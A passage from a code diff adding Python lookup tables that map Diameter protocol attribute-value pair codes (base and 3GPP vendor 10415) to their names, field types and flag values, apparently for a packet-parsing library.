+        328: ('MIP-FA-to-HA-MSA', AVPNV_Grouped, 64),
+        329: ('MIP-HA-to-FA-MSA', AVPNV_Grouped, 64),
+        331: ('MIP-MN-to-HA-MSA', AVPNV_Grouped, 64),
+        332: ('MIP-HA-to-MN-MSA', AVPNV_Grouped, 64),
+        333: ('MIP-Mobile-Node-Address', AVPNV_Address, 64),
+        334: ('MIP-Home-Agent-Address', AVPNV_Address, 64),
+        335: ('MIP-Nonce', AVPNV_OctetString, 64),
+        336: ('MIP-Candidate-Home-Agent-Host', AVPNV_StrLenField, 64),
+        337: ('MIP-Feature-Vector', AVPNV_Unsigned32, 64),
+        338: ('MIP-Auth-Input-Data-Length', AVPNV_Unsigned32, 64),
+        339: ('MIP-Authenticator-Length', AVPNV_Unsigned32, 64),
+        340: ('MIP-Authenticator-Offset', AVPNV_Unsigned32, 64),
+        341: ('MIP-MN-AAA-SPI', AVPNV_Unsigned32, 64),
+        342: ('MIP-Filter-Rule', AVPNV_IPFilterRule, 64),
+        343: ('MIP-Session-Key', AVPNV_OctetString, 64),
+        344: ('MIP-FA-Challenge', AVPNV_OctetString, 64),
+        345: ('MIP-Algorithm-Type', AVP_0_345, 64),
+        346: ('MIP-Replay-Mode', AVP_0_346, 64),
+        347: ('MIP-Originating-Foreign-AAA', AVPNV_Grouped, 64),
+        348: ('MIP-Home-Agent-Host', AVPNV_StrLenField, 64),
+        363: ('Accounting-Input-Octets', AVPNV_Unsigned64, 64),
+        364: ('Accounting-Output-Octets', AVPNV_Unsigned64, 64),
+        365: ('Accounting-Input-Packets', AVPNV_Unsigned64, 64),
+        366: ('Accounting-Output-Packets', AVPNV_Unsigned64, 64),
+        367: ('MIP-MSA-Lifetime', AVPNV_Unsigned32, 64),
+        368: ('SIP-Accounting-Information', AVPNV_Grouped, 64),
+        369: ('SIP-Accounting-Server-URI', AVPNV_StrLenField, 64),
+        370: ('SIP-Credit-Control-Server-URI', AVPNV_StrLenField, 64),
+        371: ('SIP-Server-URI', AVPNV_StrLenField, 64),
+        372: ('SIP-Server-Capabilities', AVPNV_Grouped, 64),
+        373: ('SIP-Mandatory-Capability', AVPNV_Unsigned32, 64),
+        374: ('SIP-Optional-Capability', AVPNV_Unsigned32, 64),
+        375: ('SIP-Server-Assignment-Type', AVP_0_375, 64),
+        376: ('SIP-Auth-Data-Item', AVPNV_Grouped, 64),
+        377: ('SIP-Authentication-Scheme', AVP_0_377, 64),
+        378: ('SIP-Item-Number', AVPNV_Unsigned32, 64),
+        379: ('SIP-Authenticate', AVPNV_Grouped, 64),
+        380: ('SIP-Authorization', AVPNV_Grouped, 64),
+        381: ('SIP-Authentication-Info', AVPNV_Grouped, 64),
+        382: ('SIP-Number-Auth-Items', AVPNV_Unsigned32, 64),
+        383: ('SIP-Deregistration-Reason', AVPNV_Grouped, 64),
+        384: ('SIP-Reason-Code', AVP_0_384, 64),
+        385: ('SIP-Reason-Info', AVPNV_StrLenField, 64),
+        386: ('SIP-Visited-Network-Id', AVPNV_StrLenField, 64),
+        387: ('SIP-User-Authorization-Type', AVP_0_387, 64),
+        388: ('SIP-Supported-User-Data-Type', AVPNV_StrLenField, 64),
+        389: ('SIP-User-Data', AVPNV_Grouped, 64),
+        390: ('SIP-User-Data-Type', AVPNV_StrLenField, 64),
+        391: ('SIP-User-Data-Contents', AVPNV_OctetString, 64),
+        392: ('SIP-User-Data-Already-Available', AVP_0_392, 64),
+        393: ('SIP-Method', AVPNV_StrLenField, 64),
+        400: ('NAS-Filter-Rule', AVPNV_IPFilterRule, 64),
+        401: ('Tunneling', AVPNV_Grouped, 64),
+        402: ('CHAP-Auth', AVPNV_Grouped, 64),
+        403: ('CHAP-Algorithm', AVP_0_403, 64),
+        404: ('CHAP-Ident', AVPNV_OctetString, 64),
+        405: ('CHAP-Response', AVPNV_OctetString, 64),
+        406: ('Accounting-Auth-Method', AVP_0_406, 64),
+        407: ('QoS-Filter-Rule', AVPNV_QoSFilterRule, 64),
+        411: ('CC-Correlation-Id', AVPNV_OctetString, 0),
+        412: ('CC-Input-Octets', AVPNV_Unsigned64, 64),
+        413: ('CC-Money', AVPNV_Grouped, 64),
+        414: ('CC-Output-Octets', AVPNV_Unsigned64, 64),
+        415: ('CC-Request-Number', AVPNV_Unsigned32, 64),
+        416: ('CC-Request-Type', AVP_0_416, 64),
+        417: ('CC-Service-Specific-Units', AVPNV_Unsigned64, 64),
+        418: ('CC-Session-Failover', AVP_0_418, 64),
+        419: ('CC-Sub-Session-Id', AVPNV_Unsigned64, 64),
+        420: ('CC-Time', AVPNV_Unsigned32, 64),
+        421: ('CC-Total-Octets', AVPNV_Unsigned64, 64),
+        422: ('Check-Balance-Result', AVP_0_422, 64),
+        423: ('Cost-Information', AVPNV_Grouped, 64),
+        424: ('Cost-Unit', AVPNV_StrLenField, 64),
+        425: ('Currency-Code', AVPNV_Unsigned32, 64),
+        426: ('Credit-Control', AVP_0_426, 64),
+        427: ('Credit-Control-Failure-Handling', AVP_0_427, 64),
+        428: ('Direct-Debiting-Failure-Handling', AVP_0_428, 64),
+        429: ('Exponent', AVPNV_Integer32, 64),
+        430: ('Final-Unit-Indication', AVPNV_Grouped, 64),
+        431: ('Granted-Service-Unit', AVPNV_Grouped, 64),
+        432: ('Rating-Group', AVPNV_Unsigned32, 64),
+        433: ('Redirect-Address-Type', AVP_0_433, 64),
+        434: ('Redirect-Server', AVPNV_Grouped, 64),
+        435: ('Redirect-Server-Address', AVPNV_StrLenField, 64),
+        436: ('Requested-Action', AVP_0_436, 64),
+        437: ('Requested-Service-Unit', AVPNV_Grouped, 64),
+        438: ('Restriction-Filter-Rule', AVPNV_IPFilterRule, 64),
+        439: ('Service-Identifier', AVPNV_Unsigned32, 64),
+        440: ('Service-Parameter-Info', AVPNV_Grouped, 0),
+        441: ('Service-Parameter-Type', AVPNV_Unsigned32, 0),
+        442: ('Service-Parameter-Value', AVPNV_OctetString, 0),
+        443: ('Subscription-Id', AVPNV_Grouped, 64),
+        444: ('Subscription-Id-Data', AVPNV_StrLenField, 64),
+        445: ('Unit-Value', AVPNV_Grouped, 64),
+        446: ('Used-Service-Unit', AVPNV_Grouped, 64),
+        447: ('Value-Digits', AVPNV_Integer64, 64),
+        448: ('Validity-Time', AVPNV_Unsigned32, 64),
+        449: ('Final-Unit-Action', AVP_0_449, 64),
+        450: ('Subscription-Id-Type', AVP_0_450, 64),
+        451: ('Tariff-Time-Change', AVPNV_Time, 64),
+        452: ('Tariff-Change-Usage', AVP_0_452, 64),
+        453: ('G-S-U-Pool-Identifier', AVPNV_Unsigned32, 64),
+        454: ('CC-Unit-Type', AVP_0_454, 64),
+        455: ('Multiple-Services-Indicator', AVP_0_455, 64),
+        456: ('Multiple-Services-Credit-Control', AVPNV_Grouped, 64),
+        457: ('G-S-U-Pool-Reference', AVPNV_Grouped, 64),
+        458: ('User-Equipment-Info', AVPNV_Grouped, 0),
+        459: ('User-Equipment-Info-Type', AVP_0_459, 0),
+        460: ('User-Equipment-Info-Value', AVPNV_OctetString, 0),
+        461: ('Service-Context-Id', AVPNV_StrLenField, 64),
+        462: ('EAP-Payload', AVPNV_OctetString, 64),
+        463: ('EAP-Reissued-Payload', AVPNV_OctetString, 64),
+        464: ('EAP-Master-Session-Key', AVPNV_OctetString, 64),
+        465: ('Accounting-EAP-Auth-Method', AVPNV_Unsigned64, 64),
+        480: ('Accounting-Record-Type', AVP_0_480, 64),
+        483: ('Accounting-Realtime-Required', AVP_0_483, 64),
+        485: ('Accounting-Record-Number', AVPNV_Unsigned32, 64),
+        486: ('MIP6-Agent-Info', AVPNV_Grouped, 64),
+        487: ('MIP-Careof-Address', AVPNV_Address, 64),
+        488: ('MIP-Authenticator', AVPNV_OctetString, 64),
+        489: ('MIP-MAC-Mobility-Data', AVPNV_OctetString, 64),
+        490: ('MIP-Timestamp', AVPNV_OctetString, 64),
+        491: ('MIP-MN-HA-SPI', AVPNV_Unsigned32, 64),
+        492: ('MIP-MN-HA-MSA', AVPNV_Grouped, 64),
+        493: ('Service-Selection', AVPNV_StrLenField, 64),
+        494: ('MIP6-Auth-Mode', AVP_0_494, 64),
+        506: ('Mobile-Node-Identifier', AVPNV_StrLenField, 64),
+        508: ('QoS-Resources', AVPNV_Grouped, 64),
+        509: ('Filter-Rule', AVPNV_Grouped, 64),
+        510: ('Filter-Rule-Precedence', AVPNV_Unsigned32, 64),
+        511: ('Classifier', AVPNV_Grouped, 64),
+        512: ('Classifier-ID', AVPNV_OctetString, 64),
+        513: ('Protocol', AVP_0_513, 64),
+        514: ('Direction', AVP_0_514, 64),
+        515: ('From-Spec', AVPNV_Grouped, 64),
+        516: ('To-Spec', AVPNV_Grouped, 64),
+        517: ('Negated', AVP_0_517, 64),
+        518: ('IP-Address', AVPNV_Address, 64),
+        519: ('IP-Address-Range', AVPNV_Grouped, 64),
+        520: ('IP-Address-Start', AVPNV_Address, 64),
+        521: ('IP-Address-End', AVPNV_Address, 64),
+        522: ('IP-Address-Mask', AVPNV_Grouped, 64),
+        523: ('IP-Mask-Bit-Mask-Width', AVPNV_Unsigned32, 64),
+        524: ('MAC-Address', AVPNV_OctetString, 64),
+        525: ('MAC-Address-Mask', AVPNV_Grouped, 64),
+        526: ('MAC-Address-Mask-Pattern', AVPNV_OctetString, 64),
+        527: ('EUI64-Address', AVPNV_OctetString, 64),
+        528: ('EUI64-Address-Mask', AVPNV_Grouped, 64),
+        529: ('EUI64-Address-Mask-Pattern', AVPNV_OctetString, 64),
+        530: ('Port', AVPNV_Integer32, 64),
+        531: ('Port-Range', AVPNV_Grouped, 64),
+        532: ('Port-Start', AVPNV_Integer32, 64),
+        533: ('Port-End', AVPNV_Integer32, 64),
+        534: ('Use-Assigned-Address', AVP_0_534, 64),
+        535: ('Diffserv-Code-Point', AVP_0_535, 64),
+        536: ('Fragmentation-Flag', AVP_0_536, 64),
+        537: ('IP-Option', AVPNV_Grouped, 64),
+        538: ('IP-Option-Type', AVP_0_538, 64),
+        539: ('IP-Option-Value', AVPNV_OctetString, 64),
+        540: ('TCP-Option', AVPNV_Grouped, 64),
+        541: ('TCP-Option-Type', AVP_0_541, 64),
+        542: ('TCP-Option-Value', AVPNV_OctetString, 64),
+        543: ('TCP-Flags', AVPNV_Grouped, 64),
+        544: ('TCP-Flag-Type', AVPNV_Unsigned32, 64),
+        545: ('ICMP-Type', AVPNV_Grouped, 64),
+        546: ('ICMP-Type-Number', AVP_0_546, 64),
+        547: ('ICMP-Code', AVP_0_547, 64),
+        548: ('ETH-Option', AVPNV_Grouped, 64),
+        549: ('ETH-Proto-Type', AVPNV_Grouped, 64),
+        550: ('ETH-Ether-Type', AVPNV_OctetString, 64),
+        551: ('ETH-SAP', AVPNV_OctetString, 64),
+        552: ('VLAN-ID-Range', AVPNV_Grouped, 64),
+        553: ('S-VID-Start', AVPNV_Unsigned32, 64),
+        554: ('S-VID-End', AVPNV_Unsigned32, 64),
+        555: ('C-VID-Start', AVPNV_Unsigned32, 64),
+        556: ('C-VID-End', AVPNV_Unsigned32, 64),
+        557: ('User-Priority-Range', AVPNV_Grouped, 64),
+        558: ('Low-User-Priority', AVPNV_Unsigned32, 64),
+        559: ('High-User-Priority', AVPNV_Unsigned32, 64),
+        560: ('Time-Of-Day-Condition', AVPNV_Grouped, 64),
+        561: ('Time-Of-Day-Start', AVPNV_Unsigned32, 64),
+        562: ('Time-Of-Day-End', AVPNV_Unsigned32, 64),
+        563: ('Day-Of-Week-Mask', AVPNV_Unsigned32, 64),
+        564: ('Day-Of-Month-Mask', AVPNV_Unsigned32, 64),
+        565: ('Month-Of-Year-Mask', AVPNV_Unsigned32, 64),
+        566: ('Absolute-Start-Time', AVPNV_Time, 64),
+        567: ('Absolute-Start-Fractional-Seconds', AVPNV_Unsigned32, 64),
+        568: ('Absolute-End-Time', AVPNV_Time, 64),
+        569: ('Absolute-End-Fractional-Seconds', AVPNV_Unsigned32, 64),
+        570: ('Timezone-Flag', AVP_0_570, 64),
+        571: ('Timezone-Offset', AVPNV_Integer32, 64),
+        572: ('Treatment-Action', AVPNV_Grouped, 64),
+        573: ('QoS-Profile-Id', AVPNV_Unsigned32, 64),
+        574: ('QoS-Profile-Template', AVPNV_Grouped, 64),
+        575: ('QoS-Semantics', AVP_0_575, 64),
+        576: ('QoS-Parameters', AVPNV_Grouped, 64),
+        577: ('Excess-Treatment', AVPNV_Grouped, 64),
+        578: ('QoS-Capability', AVPNV_Grouped, 64),
+        618: ('ERP-RK-Request', AVPNV_Grouped, 64),
+        619: ('ERP-Realm', AVPNV_StrLenField, 64),
+    },
+    10415: {
+        13: ('3GPP-Charging-Characteristics', AVPV_StrLenField, 192),
+        318: ('3GPP-AAA-Server-Name', AVPV_StrLenField, 192),
+        500: ('Abort-Cause', AVP_10415_500, 192),
+        501: ('Access-Network-Charging-Address', AVPV_Address, 192),
+        502: ('Access-Network-Charging-Identifier', AVPV_Grouped, 192),
+        503: ('Access-Network-Charging-Identifier-Value', AVPV_OctetString, 192),
+        504: ('AF-Application-Identifier', AVPV_OctetString, 192),
+        505: ('AF-Charging-Identifier', AVPV_OctetString, 192),
+        506: ('Authorization-Token', AVPV_OctetString, 192),
+        507: ('Flow-Description', AVPV_IPFilterRule, 192),
+        508: ('Flow-Grouping', AVPV_Grouped, 192),
+        509: ('Flow-Number', AVPV_Unsigned32, 192),
+        510: ('Flows', AVPV_Grouped, 192),
+        511: ('Flow-Status', AVP_10415_511, 192),
+        512: ('Flow-Usage', AVP_10415_512, 192),
+        513: ('Specific-Action', AVP_10415_513, 192),
+        515: ('Max-Requested-Bandwidth-DL', AVPV_Unsigned32, 192),
+        516: ('Max-Requested-Bandwidth-UL', AVPV_Unsigned32, 192),
+        517: ('Media-Component-Description', AVPV_Grouped, 192),
+        518: ('Media-Component-Number', AVPV_Unsigned32, 192),
+        519: ('Media-Sub-Component', AVPV_Grouped, 192),
+        520: ('Media-Type', AVP_10415_520, 192),
+        521: ('RR-Bandwidth', AVPV_Unsigned32, 192),
+        522: ('RS-Bandwidth', AVPV_Unsigned32, 192),
+        523: ('SIP-Forking-Indication', AVP_10415_523, 192),
+        525: ('Service-URN', AVPV_OctetString, 192),
+        526: ('Acceptable-Service-Info', AVPV_Grouped, 192),
+        527: ('Service-Info-Status', AVP_10415_527, 192),
+        528: ('MPS-Identifier', AVPV_OctetString, 128),
+        529: ('AF-Signalling-Protocol', AVP_10415_529, 128),
+        531: ('Sponsor-Identity', AVPV_StrLenField, 128),
+        532: ('Application-Service-Provider-Identity', AVPV_StrLenField, 128),
+        533: ('Rx-Request-Type', AVP_10415_533, 128),
+        534: ('Min-Requested-Bandwidth-DL', AVPV_Unsigned32, 128),
+        535: ('Min-Requested-Bandwidth-UL', AVPV_Unsigned32, 128),
+        536: ('Required-Access-Info', AVP_10415_536, 128),
+        537: ('IP-Domain-Id', AVPV_OctetString, 128),
+        538: ('GCS-Identifier', AVPV_OctetString, 128),
+        539: ('Sharing-Key-DL', AVPV_Unsigned32, 128),
+        540: ('Sharing-Key-UL', AVPV_Unsigned32, 128),
+        541: ('Retry-Interval', AVPV_Unsigned32, 128),
+        600: ('Visited-Network-Identifier', AVPV_OctetString, 192),
+        601: ('Public-Identity', AVPV_StrLenField, 192),
+        602: ('Server-Name', AVPV_StrLenField, 192),
+        603: ('Server-Capabilities', AVPV_Grouped, 192),
+        604: ('Mandatory-Capability', AVPV_Unsigned32, 192),
+        605: ('Optional-Capability', AVPV_Unsigned32, 192),
+        606: ('User-Data', AVPV_OctetString, 192),
+        607: ('SIP-Number-Auth-Items', AVPV_Unsigned32, 192),
+        608: ('SIP-Authentication-Scheme', AVPV_StrLenField, 192),
+        609: ('SIP-Authenticate', AVPV_OctetString, 192),
+        610: ('SIP-Authorization', AVPV_OctetString, 192),
+        611: ('SIP-Authentication-Context', AVPV_OctetString, 192),
+        612: ('SIP-Auth-Data-Item', AVPV_Grouped, 192),
+        613: ('SIP-Item-Number', AVPV_Unsigned32, 192),
+        614: ('Server-Assignment-Type', AVP_10415_614, 192),
+        615: ('Deregistration-Reason', AVPV_Grouped, 192),
+        616: ('Reason-Code', AVP_10415_616, 192),
+        617: ('Reason-Info', AVPV_StrLenField, 192),
+        618: ('Charging-Information', AVPV_Grouped, 192),
+        619: ('Primary-Event-Charging-Function-Name', AVPV_StrLenField, 192),
+        620: ('Secondary-Event-Charging-Function-Name', AVPV_StrLenField, 192),
+        621: ('Primary-Charging-Collection-Function-Name', AVPV_StrLenField, 192),
+        622: ('Secondary-Charging-Collection-Function-Name', AVPV_StrLenField, 192),
+        623: ('User-Authorization-Type', AVP_10415_623, 192),
+        624: ('User-Data-Already-Available', AVP_10415_624, 192),
+        625: ('Confidentiality-Key', AVPV_OctetString, 192),
+        626: ('Integrity-Key', AVPV_OctetString, 192),
+        628: ('Supported-Features', AVPV_Grouped, 128),
+        629: ('Feature-List-ID', AVPV_Unsigned32, 128),
+        630: ('Feature-List', AVP_10415_630, 128),
+        631: ('Supported-Applications', AVPV_Grouped, 128),
+        632: ('Associated-Identities', AVPV_Grouped, 128),
+        633: ('Originating-Request', AVP_10415_633, 192),
+        634: ('Wildcarded-Public-Identity', AVPV_StrLenField, 128),
+        635: ('SIP-Digest-Authenticate', AVPV_Grouped, 128),
+        636: ('Wildcarded-IMPU', AVPV_StrLenField, 128),
+        637: ('UAR-Flags', AVPV_Unsigned32, 128),
+        638: ('Loose-Route-Indication', AVP_10415_638, 128),
+        639: ('SCSCF-Restoration-Info', AVPV_Grouped, 128),
+        640: ('Path', AVPV_OctetString, 128),
+        641: ('Contact', AVPV_OctetString, 128),
+        642: ('Subscription-Info', AVPV_Grouped, 128),
+        643: ('Call-ID-SIP-Header', AVPV_OctetString, 128),
+        644: ('From-SIP-Header', AVPV_OctetString, 128),
+        645: ('To-SIP-Header', AVPV_OctetString, 128),
+        646: ('Record-Route', AVPV_OctetString, 128),
+        647: ('Associated-Registered-Identities', AVPV_Grouped, 128),
+        648: ('Multiple-Registration-Indication', AVP_10415_648, 128),
+        649: ('Restoration-Info', AVPV_Grouped, 128),
+        650: ('Session-Priority', AVP_10415_650, 128),
+        651: ('Identity-with-Emergency-Registration', AVPV_Grouped, 128),
+        652: ('Priviledged-Sender-Indication', AVP_10415_652, 128),
+        653: ('LIA-Flags', AVPV_Unsigned32, 128),
+        654: ('Initial-CSeq-Sequence-Number', AVPV_Unsigned32, 128),
+        655: ('SAR-Flags', AVPV_Unsigned32, 128),
+        700: ('User-Identity', AVPV_Grouped, 192),
+        701: ('MSISDN', AVP_10415_701, 192),
+        702: ('User-Data', AVPV_OctetString, 192),
+        703: ('Data-Reference', AVP_10415_703, 192),
+        704: ('Service-Indication', AVPV_OctetString, 192),
+        705: ('Subs-Req-Type', AVP_10415_705, 192),
+        706: ('Requested-Domain', AVP_10415_706, 192),
+        707: ('Current-Location', AVP_10415_707, 192),
+        708: ('Identity-Set', AVP_10415_708, 128),
+        709: ('Expiry-Time', AVPV_Time, 128),
+        710: ('Send-Data-Indication', AVP_10415_710, 128),
+        711: ('DSAI-Tag', AVPV_OctetString, 192),
+        712: ('One-Time-Notification', AVP_10415_712, 128),
+        713: ('Requested-Nodes', AVPV_Unsigned32, 128),
+        714: ('Serving-Node-Indication', AVP_10415_714, 128),
+        715: ('Repository-Data-ID', AVPV_Grouped, 128),
+        716: ('Sequence-Number', AVPV_Unsigned32, 128),
+        717: ('Pre-paging-Supported', AVP_10415_717, 128),
+        718: ('Local-Time-Zone-Indication', AVP_10415_718, 128),
+        719: ('UDR-Flags', AVPV_Unsigned32, 128),
+        720: ('Call-Reference-Info', AVPV_Grouped, 128),
+        721: ('Call-Reference-Number', AVPV_OctetString, 128),
+        722: ('AS-Number', AVPV_OctetString, 128),
+        823: ('Event-Type', AVPV_Grouped, 192),
+        824: ('SIP-Method', AVPV_StrLenField, 192),
+        825: ('Event', AVPV_StrLenField, 192),
+        826: ('Content-Type', AVPV_StrLenField, 192),
+        827: ('Content-Length', AVPV_Unsigned32, 192),
+        828: ('Content-Disposition', AVPV_StrLenField, 192),
+        829: ('Role-Of-Node', AVP_10415_829, 192),
+        830: ('Session-Id', AVPV_StrLenField, 192),
+        831: ('Calling-Party-Address', AVPV_StrLenField, 192),
+        832: ('Called-Party-Address', AVPV_StrLenField, 192),
+        833: ('Time-Stamps', AVPV_Grouped, 192),
+        834: ('SIP-Request-Timestamp', AVPV_Time, 192),
+        835: ('SIP-Response-Timestamp', AVPV_Time, 192),
+        836: ('Application-Server', AVPV_StrLenField, 192),
+        837: ('Application-provided-called-party-address', AVPV_StrLenField, 192),
+        838: ('Inter-Operator-Identifier', AVPV_Grouped, 192),
+        839: ('Originating-IOI', AVPV_StrLenField, 192),
+        840: ('Terminating-IOI', AVPV_StrLenField, 192),
+        841: ('IMS-Charging-Identifier', AVPV_StrLenField, 192),
+        842: ('SDP-Session-Description', AVPV_StrLenField, 192),
+        843: ('SDP-Media-Component', AVPV_Grouped, 192),
+        844: ('SDP-Media-Name', AVPV_StrLenField, 192),
+        845: ('SDP-Media-Description', AVPV_StrLenField, 192),
+        846: ('CG-Address', AVPV_Address, 192),
+        847: ('GGSN-Address', AVPV_Address, 192),
+        848: ('Served-Party-IP-Address', AVPV_Address, 192),
+        849: ('Authorised-QoS', AVPV_StrLenField, 192),
+        850: ('Application-Server-Information', AVPV_Grouped, 192),
+        851: ('Trunk-Group-Id', AVPV_Grouped, 192),
+        852: ('Incoming-Trunk-Group-Id', AVPV_StrLenField, 192),
+        853: ('Outgoing-Trunk-Group-Id', AVPV_StrLenField, 192),
+        854: ('Bearer-Service', AVPV_OctetString, 192),
+        855: ('Service-Id', AVPV_StrLenField, 192),
+        856: ('Associated-URI', AVPV_StrLenField, 192),
+        857: ('Charged-Party', AVPV_StrLenField, 192),
+        858: ('PoC-Controlling-Address', AVPV_StrLenField, 192),
+        859: ('PoC-Group-Name', AVPV_StrLenField, 192),
+        861: ('Cause-Code', AVPV_Integer32, 192),
+        862: ('Node-Functionality', AVP_10415_862, 192),
+        864: ('Originator', AVP_10415_864, 192),
+        865: ('PS-Furnish-Charging-Information', AVPV_Grouped, 192),
+        866: ('PS-Free-Format-Data', AVPV_OctetString, 192),
+        867: ('PS-Append-Free-Format-Data', AVP_10415_867, 192),
+        868: ('Time-Quota-Threshold', AVPV_Unsigned32, 192),
+        869: ('Volume-Quota-Threshold', AVPV_Unsigned32, 192),
+        870: ('Trigger-Type', AVP_10415_870, 192),
+        871: ('Quota-Holding-Time', AVPV_Unsigned32, 192),
+        872: ('Reporting-Reason', AVP_10415_872, 192),
+        873: ('Service-Information', AVPV_Grouped, 192),
+        874: ('PS-Information', AVPV_Grouped, 192),
+        876: ('IMS-Information', AVPV_Grouped, 192),
+        877: ('MMS-Information', AVPV_Grouped, 192),
+        878: ('LCS-Information', AVPV_Grouped, 192),
+        879: ('PoC-Information', AVPV_Grouped, 192),
+        880: ('MBMS-Information', AVPV_Grouped, 192),
+        881: ('Quota-Consumption-Time', AVPV_Unsigned32, 192),
+        882: ('Media-Initiator-Flag', AVP_10415_882, 192),
+        883: ('PoC-Server-Role', AVP_10415_883, 192),
+        884: ('PoC-Session-Type', AVP_10415_884, 192),
+        885: ('Number-Of-Participants', AVPV_Unsigned32, 192),
+        887: ('Participants-Involved', AVPV_StrLenField, 192),
+        888: ('Expires', AVPV_Unsigned32, 192),
+        889: ('Message-Body', AVPV_Grouped, 192),
+        897: ('Address-Data', AVPV_StrLenField, 192),
+        898: ('Address-Domain', AVPV_Grouped, 192),
+        899: ('Address-Type', AVP_10415_899, 192),
+        900: ('TMGI', AVPV_OctetString, 192),
+        901: ('Required-MBMS-Bearer-Capabilities', AVPV_StrLenField, 192),
+        902: ('MBMS-StartStop-Indication', AVP_10415_902, 192),
+        903: ('MBMS-Service-Area', AVPV_OctetString, 192),
+        904: ('MBMS-Session-Duration', AVPV_OctetString, 192),
+        905: ('Alternative-APN', AVPV_StrLenField, 192),
+        906: ('MBMS-Service-Type', AVP_10415_906, 192),
+        907: ('MBMS-2G-3G-Indicator', AVP_10415_907, 192),
+        909: ('RAI', AVPV_StrLenField, 192),
+        910: ('Additional-MBMS-Trace-Info', AVPV_OctetString, 192),
+        911: ('MBMS-Time-To-Data-Transfer', AVPV_OctetString, 192),
+        920: ('MBMS-Flow-Identifier', AVPV_OctetString, 192),
+        921: ('CN-IP-Multicast-Distribution', AVP_10415_921, 192),
+        922: ('MBMS-HC-Indicator', AVP_10415_922, 192),
+        1000: ('Bearer-Usage', AVP_10415_1000, 192),
+        1001: ('Charging-Rule-Install', AVPV_Grouped, 192),
+        1002: ('Charging-Rule-Remove', AVPV_Grouped, 192),
+        1003: ('Charging-Rule-Definition', AVPV_Grouped, 192),
+        1004: ('Charging-Rule-Base-Name', AVPV_StrLenField, 192),
+        1005: ('Charging-Rule-Name', AVPV_OctetString, 192),
+        1006: ('Event-Trigger', AVP_10415_1006, 192),
+        1007: ('Metering-Method', AVP_10415_1007, 192),
+        1008: ('Offline', AVP_10415_1008, 192),
+        1009: ('Online', AVP_10415_1009, 192),
+        1010: ('Precedence', AVPV_Unsigned32, 192),
+        1011: ('Reporting-Level', AVP_10415_1011, 192),
+        1012: ('TFT-Filter', AVPV_IPFilterRule, 192),
+        1013: ('TFT-Packet-Filter-Information', AVPV_Grouped, 192),
+        1014: ('ToS-Traffic-Class', AVPV_OctetString, 192),
+        1015: ('PDP-Session-Operation', AVP_10415_1015, 192),
+        1018: ('Charging-Rule-Report', AVPV_Grouped, 192),
+        1019: ('PCC-Rule-Status', AVP_10415_1019, 192),
+        1020: ('Bearer-Identifier', AVPV_OctetString, 192),
+        1021: ('Bearer-Operation', AVP_10415_1021, 192),
+        1022: ('Access-Network-Charging-Identifier-Gx', AVPV_Grouped, 192),
+        1023: ('Bearer-Control-Mode', AVP_10415_1023, 192),
+        1024: ('Network-Request-Support', AVP_10415_1024, 192),
+        1025: ('Guaranteed-Bitrate-DL', AVPV_Unsigned32, 192),
+        1026: ('Guaranteed-Bitrate-UL', AVPV_Unsigned32, 192),
+        1027: ('IP-CAN-Type', AVP_10415_1027, 192),
+        1028: ('QoS-Class-Identifier', AVP_10415_1028, 192),
+        1032: ('RAT-Type', AVP_10415_1032, 128),
+        1033: ('Event-Report-Indication', AVPV_Grouped, 128),
+        1034: ('Allocation-Retention-Priority', AVPV_Grouped, 128),
+        1035: ('CoA-IP-Address', AVPV_Address, 128),
+        1036: ('Tunnel-Header-Filter', AVPV_IPFilterRule, 128),
+        1037: ('Tunnel-Header-Length', AVPV_Unsigned32, 128),
+        1038: ('Tunnel-Information', AVPV_Grouped, 128),
+        1039: ('CoA-Information', AVPV_Grouped, 128),
+        1040: ('APN-Aggregate-Max-Bitrate-DL', AVPV_Unsigned32, 128),
+        1041: ('APN-Aggregate-Max-Bitrate-UL', AVPV_Unsigned32, 128),
+        1042: ('Revalidation-Time', AVPV_Time, 192),
+        1043: ('Rule-Activation-Time', AVPV_Time, 192),
+        1044: ('Rule-Deactivation-Time', AVPV_Time, 192),
+        1045: ('Session-Release-Cause', AVP_10415_1045, 192),
+        1046: ('Priority-Level', AVPV_Unsigned32, 128),
+        1047: ('Pre-emption-Capability', AVP_10415_1047, 128),
+        1048: ('Pre-emption-Vulnerability', AVP_10415_1048, 128),
+        1049: ('Default-EPS-Bearer-QoS', AVPV_Grouped, 128),
+        1050: ('AN-GW-Address', AVPV_Address, 128),
+        1056: ('Security-Parameter-Index', AVPV_OctetString, 128),
+        1057: ('Flow-Label', AVPV_OctetString, 128),
+        1058: ('Flow-Information', AVPV_Grouped, 128),
+        1059: ('Packet-Filter-Content', AVPV_IPFilterRule, 128),
+        1060: ('Packet-Filter-Identifier', AVPV_OctetString, 128),
+        1061: ('Packet-Filter-Information', AVPV_Grouped, 128),
+        1062: ('Packet-Filter-Operation', AVP_10415_1062, 128),
+        1063: ('Resource-Allocation-Notification', AVP_10415_1063, 128),
+        1065: ('PDN-Connection-ID', AVPV_OctetString, 128),
+        1066: ('Monitoring-Key', AVPV_OctetString, 128),
+        1067: ('Usage-Monitoring-Information', AVPV_Grouped, 128),
+        1068: ('Usage-Monitoring-Level', AVP_10415_1068, 128),
+        1069: ('Usage-Monitoring-Report', AVP_10415_1069, 128),
+        1070: ('Usage-Monitoring-Support', AVP_10415_1070, 128),
+        1071: ('CSG-Information-Reporting', AVP_10415_1071, 128),
+        1072: ('Packet-Filter-Usage', AVP_10415_1072, 128),
+        1073: ('Charging-Correlation-Indicator', AVP_10415_1073, 128),
+        1075: ('Routing-Rule-Remove', AVPV_Grouped, 128),
+        1076: ('Routing-Rule-Definition', AVPV_Grouped, 128),
+        1077: ('Routing-Rule-Identifier', AVPV_OctetString, 128),
+        1078: ('Routing-Filter', AVPV_Grouped, 128),
+        1079: ('Routing-IP-Address', AVPV_Address, 128),
+        1080: ('Flow-Direction', AVP_10415_1080, 128),
+        1082: ('Credit-Management-Status', AVPV_Unsigned32, 128),
+        1085: ('Redirect-Information', AVPV_Grouped, 128),
+        1086: ('Redirect-Support', AVP_10415_1086, 128),
+        1087: ('TDF-Information', AVPV_Grouped, 128),
+        1088: ('TDF-Application-Identifier', AVPV_OctetString, 128),
+        1089: ('TDF-Destination-Host', AVPV_StrLenField, 128),
+        1090: ('TDF-Destination-Realm', AVPV_StrLenField, 128),
+        1091: ('TDF-IP-Address', AVPV_Address, 128),
+        1098: ('Application-Detection-Information', AVPV_Grouped, 128),
+        1099: ('PS-to-CS-Session-Continuity', AVP_10415_1099, 128),
+        1200: ('Domain-Name', AVPV_StrLenField, 192),
+        1203: ('MM-Content-Type', AVPV_Grouped, 192),
+        1204: ('Type-Number', AVP_10415_1204, 192),
